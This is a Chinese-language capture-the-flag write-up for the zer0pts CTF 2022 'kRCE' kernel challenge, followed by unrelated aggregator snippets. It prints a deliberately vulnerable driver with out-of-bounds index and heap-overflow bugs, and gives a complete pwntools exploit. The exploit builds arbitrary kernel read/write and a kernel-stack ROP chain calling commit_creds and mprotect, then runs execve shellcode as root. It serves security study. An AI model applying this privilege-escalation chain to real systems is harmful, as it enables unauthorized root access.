zer0pts CTF 2022 -- kRCE

news2024/11/25 8:20:23

文章目录

  • 前言
  • 题目分析
  • 漏洞利用
    • 提权
    • shell
  • exp

前言

这道题目非常有意思,看似 kernel pwn,但又是一个非常规的 kernel pwn,通过这个题目也学到了很多,这里主要参考 Will’s Root 的 wp

题目分析

作者写了一个具有多个漏洞的驱动模块,但是我们只能通过交换接口进行相关的操作

#!/bin/sh
# Setup
mdev -s
mount -t proc none /proc
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
stty -opost

echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

# Install kernel driver
insmod /root/buffer.ko
mknod -m 600 /dev/buffer c `grep buffer /proc/devices | awk '{print $1;}'` 0

chmod 666 /dev/buffer

# Run
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ kRCE - zer0pts CTF 2022 ]"


/root/interface

# Cleanup
umount /proc
poweroff -d 0 -f

可以看到这里启动时,是直接执行的 /root/interface 接口程序,而没有给一个本地 shell,这里作者给了源码,我们先来看下驱动模块源代码:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/random.h>

#define DEVICE_NAME "buffer"
#define BUF_NUM  0x10

#define CMD_NEW  0xeb15
#define CMD_EDIT 0xac1ba
#define CMD_SHOW 0x7aba7a
#define CMD_DEL  0x0da1ba

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("kRCE - zer0pts CTF 2022");

typedef struct {
  uint32_t index;
  uint32_t size;
  char *data;
} request_t;

char *buffer[BUF_NUM];

long buffer_new(uint32_t index, uint32_t size) {
  if (index >= BUF_NUM)
    return -EINVAL;

  if (!(buffer[index] = (char*)kzalloc(size, GFP_KERNEL)))
    return -EINVAL;

  return 0;
}

long buffer_del(uint32_t index) {
  if (index >= BUF_NUM)
    return -EINVAL;

  if (!buffer[index])
    return -EINVAL;

  kfree(buffer[index]);
  buffer[index] = NULL;

  return 0;
}

// 仔细观察可以发现,buffer_new 和 buffer_del 函数的 index 都是 uint32_t 无符号类型
// 但是到了 buffer_edit 和 buffer_show 却变成了 int32_t 有符合类型,所以这里存在数组越界
long buffer_edit(int32_t index, char *data, int32_t size) {
  if (index >= BUF_NUM)
    return -EINVAL;

  if (!buffer[index])
    return -EINVAL;

  if (copy_from_user(buffer[index], data, size)) // 没有检查 size 大小,存在堆溢出写
    return -EINVAL;

  return 0;
}

long buffer_show(int32_t index, char *data, int32_t size) {
  if (index >= BUF_NUM)
    return -EINVAL;

  if (!buffer[index])
    return -EINVAL;

  if (copy_to_user(data, buffer[index], size)) // 没有检查 size 大小,存在堆溢出读
    return -EINVAL;

  return 0;
}

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  request_t req;

  if (copy_from_user(&req, (void*)arg, sizeof(request_t)))
    return -EINVAL;

  switch (cmd) {
    case CMD_NEW : return buffer_new (req.index, req.size);
    case CMD_EDIT: return buffer_edit(req.index, req.data, req.size);
    case CMD_SHOW: return buffer_show(req.index, req.data, req.size);
    case CMD_DEL : return buffer_del (req.index);
    default: return -EINVAL;
  }
}

static struct file_operations module_fops = {
  .owner   = THIS_MODULE,
  .unlocked_ioctl = module_ioctl,
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
    printk(KERN_WARNING "Failed to register device\n");
    return -EBUSY;
  }

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    printk(KERN_WARNING "Failed to add cdev\n");
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

这里的漏洞非常明显,数组越界(生溢)和堆溢出

然后再来看下接口程序源码:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define CMD_NEW  0xeb15
#define CMD_EDIT 0xac1ba
#define CMD_SHOW 0x7aba7a
#define CMD_DEL  0x0da1ba

typedef struct {
  unsigned int index;
  unsigned int size;
  char *data;
} request_t;

void fatal(const char *msg)
{
  perror(msg);
  exit(1);
}

void add(int fd)
{
  request_t req;

  printf("index: ");
  if (scanf("%u%*c", &req.index) != 1)
    exit(1);

  printf("size: ");
  if (scanf("%u%*c", &req.size) != 1)
    exit(1);

  if (ioctl(fd, CMD_NEW, &req))
    puts("[-] Something went wrong");
  else
    puts("[+] Successfully created");
}

void edit(int fd)
{
  request_t req;

  printf("index: ");
  if (scanf("%u%*c", &req.index) != 1)
    exit(1);

  printf("size: ");
  if (scanf("%u%*c", &req.size) != 1)
    exit(1);

  printf("data: ");
  req.data = malloc(req.size);
  if (!req.data) {
    puts("[-] Invalid size");
    return;
  }
  for (unsigned int i = 0; i < req.size; i++) {
    if (scanf("%02hhx", &req.data[i]) != 1)
      exit(1);
  }

  if (ioctl(fd, CMD_EDIT, &req))
    puts("[-] Something went wrong");
  else
    puts("[+] Successfully updated");

  free(req.data);
}

void show(int fd)
{
  request_t req;

  printf("index: ");
  if (scanf("%u%*c", &req.index) != 1)
    exit(1);

  printf("size: ");
  if (scanf("%u%*c", &req.size) != 1)
    exit(1);

  req.data = malloc(req.size);
  if (!req.data) {
    puts("[-] Invalid size");
    return;
  }

  if (ioctl(fd, CMD_SHOW, &req) < 0)
    puts("[-] Something went wrong");
  else {
    printf("[+] Data: ");
    for (unsigned int i = 0; i < req.size; i++) {
      printf("%02hhx ", req.data[i]);
    }
    putchar('\n');
  }

  free(req.data);
}

void del(int fd)
{
  request_t req;

  printf("index: ");
  if (scanf("%u%*c", &req.index) != 1)
    exit(1);

  if (ioctl(fd, CMD_DEL, &req) < 0)
    puts("[-] Something went wrong");
  else
    puts("[+] Successfully deleted");
}

int main()
{
  int bufd = open("/dev/buffer", O_RDWR | O_CLOEXEC);
  if (bufd == -1)
    fatal("/dev/buffer");
  if (setregid(1337, 1337) == -1)
    fatal("setregid");
  if (setreuid(1337, 1337) == -1)
    fatal("setreuid");
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  puts("1. add");
  puts("2. edit");
  puts("3. show");
  puts("4. delete");
  while (1) {
    int choice;
    printf("> ");
    if (scanf("%d%*c", &choice) != 1)
      exit(1);

    switch (choice) {
    case 1: add(bufd); break;
    case 2: edit(bufd); break;
    case 3: show(bufd); break;
    case 4: del(bufd); break;
    default: return 0;
    }
  }
}

可以看到这里提供了四个接口函数来操作内核驱动模块,而这里的接口程序是不存在任何漏洞的

漏洞利用

内核开启了 smap/smep/kaslr/kpti 等保护,接口程序除了 Canary 其它保护全开

在上述漏洞分析中,我们得知驱动模块存在如下漏洞:

  • 数组越界
  • 堆溢出

但是这里我们只能使用接口函数,使用常规的内核利用方法就失效了,比如我们无法堆喷其它对象,因此这里的堆溢出其实没啥作用,主要还是数组越界的问题。

这个题目我们要解决如下问题:

  • 如何只利用接口函数进行提权
  • 提权后如何返回一个 shell

由于开启了 smep,所以这里得在内核态进行提权,然后在用户态返回一个 shell(其实就是执行 system("/bin/sh"),跟常规的用户态 pwn 没啥区别,只是此时返回的 shellroot 权限,当然这里说的不是很准确,大概就是这个意思)

提权

由于开启了 kaslr 保护,所以这里得先泄漏 kbase,这个比较简单,通过调试可以发现在 buffer 数组的上面存在大量残余的内核地址,这里通过越界读即可泄漏 kbase,然后通过 A->B->C 这样的指针结构可以实现任意地址读写

所以后面的问题就是如何利用任意地址读写进行提权,这里的方案其实很多,比如我们可以任意地址读获取 current_task 的地址,然后通过任意地址写修改其 cred/real_cred 字段或修改 uid 等字段。当然这里我使用的参考文章中的方案,还是去控制程序执行流执行 commit_creds(init_cred)

如果是 ramfs 文件系统,则对于拿 flag 可以直接爆搜内存

current_task 中的 stack 字段保存着当前任务的内核栈栈顶地址,所以通过任意读可以获取当前任务的内核栈地址,然后就可以利用任意地址写控制内核栈的内容了

所以我们可以在内核栈上步骤好 rop 链即可完成提权

shell

这里返回一个 shell 的方法比较奇妙,主要的想法就是在内核去修改用户态的某个页面 userland_page 的权限为 rwx,然后在执行 rop 链往 userland_page 页面上写 shellcode,最后返回到 userland_page 执行即可

当然这里我们或许可以直接在内核态返回一个 shell,但是其不稳定

exp

最后的 exp 如下:

from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
context.log_level = 'debug'

io = process(["qemu-system-x86_64",
     "-m", "64M",
     "-nographic",
     "-kernel", "bzImage",
     "-append", "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr",
     "-no-reboot",
     "-cpu", "kvm64,+smap,+smep",
     "-monitor", "/dev/null",
     "-initrd", "rootfs_noshell.cpio"])

def debug():
    gdb.attach(io)
    pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'> '

def add(idx, size):
    sla(menu, b'1')
    sla(b'index: ', byte(idx))
    sla(b'size: ', byte(size))

def edit(idx, data):
    sla(menu, b'2')
    sla(b'index: ', byte(idx))
    sla(b'size: ', byte(len(data)))
    rut(b'data: ')
    sleep(1)
    for i in data:
        sl(str(hex(i)[2:].zfill(2)).encode())

def show(idx, size):
    sla(menu, b'3')
    sla(b'index: ', byte(idx))
    sla(b'size: ', byte(size))

def dele(idx):
    sla(menu, b'4')
    sla(b'index: ', byte(idx))

def get_addr():
    addr = 0
    rut(b'Data:')
    for i in range(8):
        rut(b' ')
        addr += int(rc(2), 16) << (i*8)
    return addr

show(-73, 8)
kbase = get_addr() - 0x6de40
koffset = kbase - 0xffffffff81000000
info("kbase", kbase)
info("koffset", koffset)

show(-86, 8)
kmodule = get_addr() - 0x2148
buffer_addr = kmodule + 0x2400
info("kmodule", kmodule)
info("buffer_addr", buffer_addr)

def arb_read(addr, size):
    edit(-128, p64(addr))
    show(-88, size)

def arb_write(addr, data):
    edit(-128, p64(addr))
    edit(-88, data)

init_task = 0xffffffff81e12580 + koffset
arb_read(init_task+0x2f8, 8)
current_task = get_addr() - 0x2f0
info("current_task", current_task)
arb_read(current_task+0x20, 8)
kstack = get_addr() + 0x3e88
info("kstack", kstack)

arb_read(kstack+0x150, 8)
userland_page = get_addr() & (~0xfff)
info("userland_page", userland_page)

arb_read(kstack+0x168, 8)
userland_stack = get_addr()
info("userland_stack", userland_stack)

pop_rdi = 0xffffffff8114078a + koffset
pop_rsi = 0xffffffff810ce28e + koffset
pop_rdx = 0xffffffff81145369 + koffset
pop_rcx = 0xffffffff810eb7e4 + koffset
init_cred = 0xffffffff81e37a60 + koffset
memcpy = 0xffffffff8163c220 + koffset
copy_to_user = 0xffffffff81269780 + koffset
commit_creds = 0xffffffff810723c0 + koffset
do_mprotect_pkey = 0xffffffff811224f0 + koffset
kpti_trampoline = 0xffffffff81800e10 + 22 +koffset

shellcode = '''
    mov rax,0x68732f6e69622f
    push rax
    mov rdi,rsp
    push 0x0
    push rdi
    mov rax,0x3b
    mov rsi,rsp
    push 0x0
    mov rdx,rsp
    syscall
'''
shellcode = asm(shellcode)

add(0, 0x100)
edit(0, shellcode)

arb_read(buffer_addr, 8)
shellcode_addr = get_addr()
info("shellcode_addr", shellcode_addr)

rop = [
    pop_rdi,
    userland_page,
    pop_rsi,
    0x1000,
    pop_rdx,
    7,
    pop_rcx,
    0xffffffffffffffff,
    do_mprotect_pkey,
    pop_rdi,
    userland_page,
    pop_rsi,
    shellcode_addr,
    pop_rdx,
    len(shellcode),
    copy_to_user,
    pop_rdi,
    init_cred,
    commit_creds,
    kpti_trampoline,
    0xdeadbeef,
    0xbeefdead,
    userland_page,
    0x33,
    0x200,
    userland_stack,
    0x2b
]

pay = b''
for i in rop:
    pay += p64(i)

arb_write(kstack, pay)

#debug()
sh()

效果如下:有时候会失败,不知道咋回事
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1652593.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

工厂车间冷风机降温通风措施

冷风机的工作原理主要基于蒸发冷却原理&#xff0c;以下是其具体的工作流程&#xff1a; 空气吸入&#xff1a;当冷风机开始工作时&#xff0c;首先通过风扇将车间内的热空气吸入冷风机的机体内。蒸发冷却&#xff1a;冷风机内部有一个或多个湿帘或水帘&#xff0c;当热空气通…

打破次元壁!Stable Diffusion将现实影像转成二次元动画,推特转赞10k+,网友:都可以重做《神奇宝贝》动漫了

破次元壁计划已启动&#xff01; 就在最近&#xff0c;有网友分享了一个用Stable Diffusion打造二次元动画的工具&#xff0c;直接在网上爆火。 先快来看一波效果。 万物皆可妙化为二次元&#xff0c;耳机也可蜕变成小兔兔&#xff1a; 瞧&#xff01;连易拉罐的拉环也化身成…

数字孪生项目的开发

数字孪生项目开发涉及多学科知识和技术&#xff0c;因此存在以下技术难点&#xff0c;数字孪生项目开发是一项复杂的工程&#xff0c;需要攻克多项技术难关。随着技术的不断发展&#xff0c;数字孪生技术将得到更加广泛的应用&#xff0c;并在各行各业发挥更大的作用。北京木奇…

顶顶通呼叫中心中间件电话黑名单系统介绍

黑名单 有显示成功和失败导入数&#xff0c;可以禁用也可以启用&#xff0c;如果禁用状态就是不使用这一组黑名单&#xff0c;多个号码核验就是验证号码存不存在。黑名单只有管理员和操作员可以配置&#xff0c;租户是看不到黑名单的。但是黑名单跟租户是互通的。 可以单个号码…

windows下安装最新的nginx

1、进入官网下载地址 https://nginx.org/en/download.html#/ 2、点击这里最新的版本下载 3、&#xff08;不要直接运行解压的nginx.exe&#xff09;,应这样操作WindowsR&#xff0c;输入CMD&#xff0c; 4、查看一下自己解压后的位置&#xff0c;我的是在E盘 5、输入对应的W…

ADOP带你了解:长距离 PoE 交换机

您是否知道当今的企业需要的网络连接超出了传统交换机所能容纳的长度&#xff1f;这就是我们在长距离 PoE 交换机方面的专业化变得重要的地方。我们了解扩展网络覆盖范围的挑战&#xff0c;无论是在广阔的园区还是在多栋建筑之间。使用这些可靠的交换机&#xff0c;我们不仅可以…

百川2模型解读

简介 Baichuan 2是多语言大模型&#xff0c;目前开源了70亿和130亿参数规模的模型。在公开基准如MMLU、CMMLU、GSM8K和HumanEval上的评测&#xff0c;Baichuan 2达到或超过了其他同类开源模型&#xff0c;并在医学和法律等垂直领域表现优异。此外&#xff0c;官方还发布所有预…

【编程题-错题集】连续子数组最大和(动态规划 - 线性 dp)

牛客对应题目链接&#xff1a;连续子数组最大和_牛客题霸_牛客网 (nowcoder.com) 一、分析题目 简单线性 dp。 1、状态表示 dp[i] 表示&#xff1a;以 i 位置为结尾的所有子数组中&#xff0c;最大和是多少。 2、状态转移方程 dp[i] max(dp[i - 1] arr[i], arr[i]) 3、返回…

HTML批量文件上传2——进度条显示

作者&#xff1a;私语茶馆 非常多的云应用中需要上传文本&#xff0c;包括图片&#xff0c;文件等等&#xff0c;这些批量文件上传&#xff0c;往往涉及到进度条显示&#xff0c;多文件上传等&#xff0c;这里分享一个非常好的案例&#xff0c;来自BootStrapfriendly.com&#…

6W 1.5KVDC、3KVDC 隔离宽电压输入 DC/DC 电源模块——TP06DA 系列

TP06DA系列电源模块额定输出功率为6W&#xff0c;外形尺寸为31.75*20.32*10.65&#xff0c;应用于2:1及4:1电压输入范围 4.5-9、9V-18V、18V-36V、36V-72V、9V-36V和18V-72VDC的输入电压环境&#xff0c;输出电压精度可达1%&#xff0c;具有输出短路保护等功能&#xff0c;可广…

经验浅谈!伦敦银如何交易?

近期&#xff0c;伦敦银价格出现很强的上涨&#xff0c;这促使一些新手投资者进入了市场&#xff0c;但由于缺乏经验&#xff0c;他们不知道该怎么在市场中交易&#xff0c;下面我们就从宏观上介绍一些方法&#xff0c;来讨论一下伦敦银如何交易。 首先我们要知道&#xff0c;要…

[C/C++] -- 装饰器模式

装饰器模式是一种结构型设计模式&#xff0c;它允许在不改变原始对象的基础上动态地扩展其功能。这种模式通过将对象包装在装饰器类的对象中来实现&#xff0c;每个装饰器对象都包含一个原始对象&#xff0c;并可以在调用原始对象的方法之前或之后执行一些额外的操作。 装饰器…

windows环境下 postgresql v12 绿色版+postgis 3.4.1版本配置,空间数据库迁移

windows环境下 postgresql v12 绿色版+postgis 3.4.1版本配置,空间数据库迁移 一、软件环境 操作系统:windows 11 pg免安装版数据库:postgresql-12.17-1-windows-x64-binaries.zip 下载地址:https://get.enterprisedb.com/postgresql/postgresql-12.18-1-windows-x64-bina…

第二证券今日投资参考:北方稀土上调挂牌价 磷化工产业链迎催化

昨日&#xff0c;沪指早盘窄幅震动&#xff0c;午后小幅拉升&#xff0c;科创50指数弱势下探。截至收盘&#xff0c;沪指涨0.22%报3147.74点&#xff0c;深证成指微跌0.08%报9770.94点&#xff0c;创业板指跌0.14%报1892.54点&#xff0c;上证50指数涨0.16%&#xff0c;科创50指…

智能AI对话系统源码+绘画功能二合一 带完整的代码安装包以及搭建教程

随着人工智能技术的不断进步&#xff0c;人们对于AI应用的需求也日益多元化。在智能AI对话系统方面&#xff0c;用户期望能够获得更加自然、智能的交互体验&#xff1b;而在绘画领域&#xff0c;AI技术的加入则为艺术创作带来了全新的可能性。小编给大家分享一款智能AI对话系统…

vs2019 - 替换vs2019自带的cmake

文章目录 vs2019 - 替换vs2019自带的cmake概述笔记启动vs2019本地x64命令行的脚本查看vs2019自带的cmake的位置删掉旧版cmake将新版cmake的安装目录内容替换过来。查看vs2019本地x64命令行中的cmake版本配置为vs2019x64工程END vs2019 - 替换vs2019自带的cmake 概述 在看一个…

2024年钉钉群直播回放怎么保存

钉钉群直播回放下载插件我已经打包好了&#xff0c;有需要的自己下载一下 小白钉钉工具打包链接&#xff1a;百度网盘 请输入提取码 提取码&#xff1a;1234 --来自百度网盘超级会员V10的分享 1.首先解压好我给大家准备好的压缩包 2.再把逍遥一仙下载器解压出来&#xff0…

DInet

&#xff08;1&#xff09;数据&#xff1a; 1&#xff09;&#xff1a;随机获取5帧参考帧 2&#xff09;&#xff1a;处理这5帧连续帧&#xff0c;:source_frames:连续5帧的crop_moth b)audio_list:连续5帧的每一帧对应的5帧音频mel特征 c):refs:fintune 固定参考帧&#xff0…

AngusTester安装请求代理

一、介绍 请求代理程序(AngusProxy)提供两个方面作用&#xff1a; 代理Http和WebSocket协议接口调试请求&#xff0c;解决浏览器跨域限制问题。对代理请求客户化处理支持&#xff0c;允许用户对代理请求进行二次处理&#xff0c;如&#xff1a;请求参数签名。 二、类型 为了…